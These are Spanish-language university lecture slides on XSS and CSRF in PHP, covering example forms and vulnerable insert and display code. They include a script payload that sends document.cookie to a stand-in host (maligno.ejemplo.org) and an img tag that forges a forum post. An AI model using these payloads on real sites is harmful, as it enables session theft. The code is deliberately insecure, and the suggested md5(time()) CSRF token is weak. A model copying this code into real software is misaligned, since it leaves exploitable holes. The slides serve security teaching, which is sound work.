Está en la página 1de 18

Ataques XSS y CSRF

CI-2413 Desarrollo de Aplicaciones


para Internet
Seguridad
• Podremos hablar de aplicaciones web seguras
y inseguras.
• Por definición una aplicación web segura es
aquella que es 100% invulnerable a cualquier
tipo de ataque.
• Sobre esta base se pueden considerar las
aplicaciones web como inseguras.
• Se verá protección contra dos tipos de ataques.
Cross-Site Scripting (XSS)
• El error fundamental que conduce a vulnerabilidades
de tipo XSS es tener confianza en los datos foráneos.
• La recomendación general es desconfiar siempre de
los datos del visitante.
• Como datos foráneos vamos a considerar cualquier
dato que reciba el servidor web. V.G.: correo
emitido por un cliente de correo web, un banner
publicitario, las citas proveidas por XML vía HTTP,
los datos del visitante, ...
Ejemplo de XSS
• Considere el siguiente formulario:
<form action="/registrar.php" method="post">
<p>Nombre de usuario: <input type="text"
name="reg_usuario" /></p>
<p>Email: <input type="text" name="reg_email"
/></p>
<p><input type="submit" value="Registrar" />
</form>
Ejemplo de XSS
• Ahora considere el siguiente script de
inserción de los datos:
if (!get_magic_quotes_gpc()) {
$_POST['reg_usuario'] =
addslashes($_POST['reg_usuario']);
$_POST['reg_email'] = addslashes($_POST['reg_email']);
}
$sql = "insert into users (username, email) values
('{$_POST['reg_usuario ']}', '{$_POST['reg_email']}')";
Ejemplo de XSS
• Imagine el siguiente nombre de usuario:
<script>alert('¡Oh no!');</script>
• Se puede determinar fácilmente que el código
anterior no es nombre de usuario válido, lo cual
demuestra que el código que escribimos no es
siempre prudente.
• Por supuesto, el peligro de XSS reside en el efecto
producido cuando los datos son reenviados a otros
utilizadores.
Ejemplo de XSS
• Despligue por un administrador:
<table>
<tr>
<th>Usuario</th>
<th>Email</th>
</tr>
<?php
if ($_SESSION['admin']) {
$sql = 'select username,email from users';
$result = mysql_query($sql);
while ($user = mysql_fetch_assoc($result)) {
echo "\t<tr>\n";
echo "\t\t<td>{$user['username']}</td>\n";
echo "\t\t<td>{$user['email']}</td>\n";
echo "\t</tr>\n";
}
}
?>
</table>
Ejemplo de XSS
• En el ejemplo anterior si los datos no son
validados antes de ser guardados, el
administrador podrá ser sujeto de un ataque
XSS.
Ejemplo de XSS
• El riesgo es aún más evidente con algún ataque más
vicioso como el siguiente:
<script>
document.location = 'http://maligno.ejemplo.org/roba_cookies.php?
cookies=' + document.cookie
</script>
• En este ejemplo, el script distante roba_cookies.php
puede acceder a los cookies con la variable
$_GET['cookies']. Un vez capturados los cookies
pueden ser utilizados para lanzar ataques de usurpación
de identidad, obtener datos sensibles, etc.
Protegerse contra XSS
• Filtrar todos los datos foráneos.
• Utilizar la funcionalidad existente:
htmlentities(), strip_tags, utf8_decode(), etc.
pueden ayudar a escribir la lógica de filtrado.
• Solamente autorizar un contenido validado.
• Utilizar una convención de nombres
descriptiva.
• Ser creativo.
Cross-Site Request Forgeries
(CSRF)
• Este tipo de ataques en lugar de explotar la
confianza del usuario explotan la confianza
que hace el sitio web a sus usuarios.
• CSRF implica la simulación de solicitudes
HTTP, por lo cual es muy importante
entender las solicitudes HTTP.
Ejemplo de CSRF
• Considere un foro hipotético en
http://foro.ejemplo.org/ que utiliza el siguiente
formulario:
<form action="/add_post.php">
<p>Asunto: <input type="text" name="post_subject" /></p>
<p>Mensaje: <textarea
name="post_message"></textarea></p>
<p><input type="submit" value="Enviar" /></p>
</form>
Ejemplo de CSRF
• Dado que en el código anterior no se indicó
POST una solicitud GET es enviada:
GET /add_post.php?post_subject=foo&post_message=bar
HTTP/1.1
HOST: foro.ejemplo.org
Cookie: PHPSESSID=123456789
Ejemplo de CSRF
• Considere la etiqueta <img> siguiente:
<img src="http://foro.ejemplo.org/add_post.php?
post_subject=foo&post_message=bar” />
• Cuando un navegador pida esta imagen va a
enviar exactamente la misma solicitud de la
filmina anterior. La víctima va a enviar un
mensaje en el foro y sin darse cuenta.
Protegerse contra CSRF
• Utilizar el método POST en los formularios.
• Utilizar el arreglo $_POST en lugar de las
variables creadas gracias a register_globals.
• No simplificar las acciones importantes.
• Obligar al usuario a utilizar nuestros
formularios HTML.
Protegerse contra CSRF
• Un ejemplo de técnica para obligar al usuario a
utilizar nuestros propios formularios es la siguiente:
<?php
$token = md5(time());
$_SESSION['token'] = $token;
$_SESSION['token_timestamp'] = time();
?>
<form action="/add_post.php">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>Asunto: <input type="text" name="post_subject" /></p>
<p>Mensaje: <textarea name="post_message"></textarea></p>
<p><input type="submit" value="Enviar" /></p>
</form>
Lecturas adicionales
• PHP Under Attaque: presentación sobre XSS y
CSRF
– http://talks.php.net/show/php-under-attack/
• XSS
– http://httpd.apache.org/info/css-security/
– http://www.cgisecurity.com/articles/xss-faq.shtml
– http://www.php-secure.info/v2/article/XSS.php
• CSRF
– http://www.tux.org/~peterw/csrf.txt
Proyecto de seguridad
• XSS:
– HTMLfilter es un proyecto para PHP que
analiza todos los datos HTTP antes de ser
utilizados.

También podría gustarte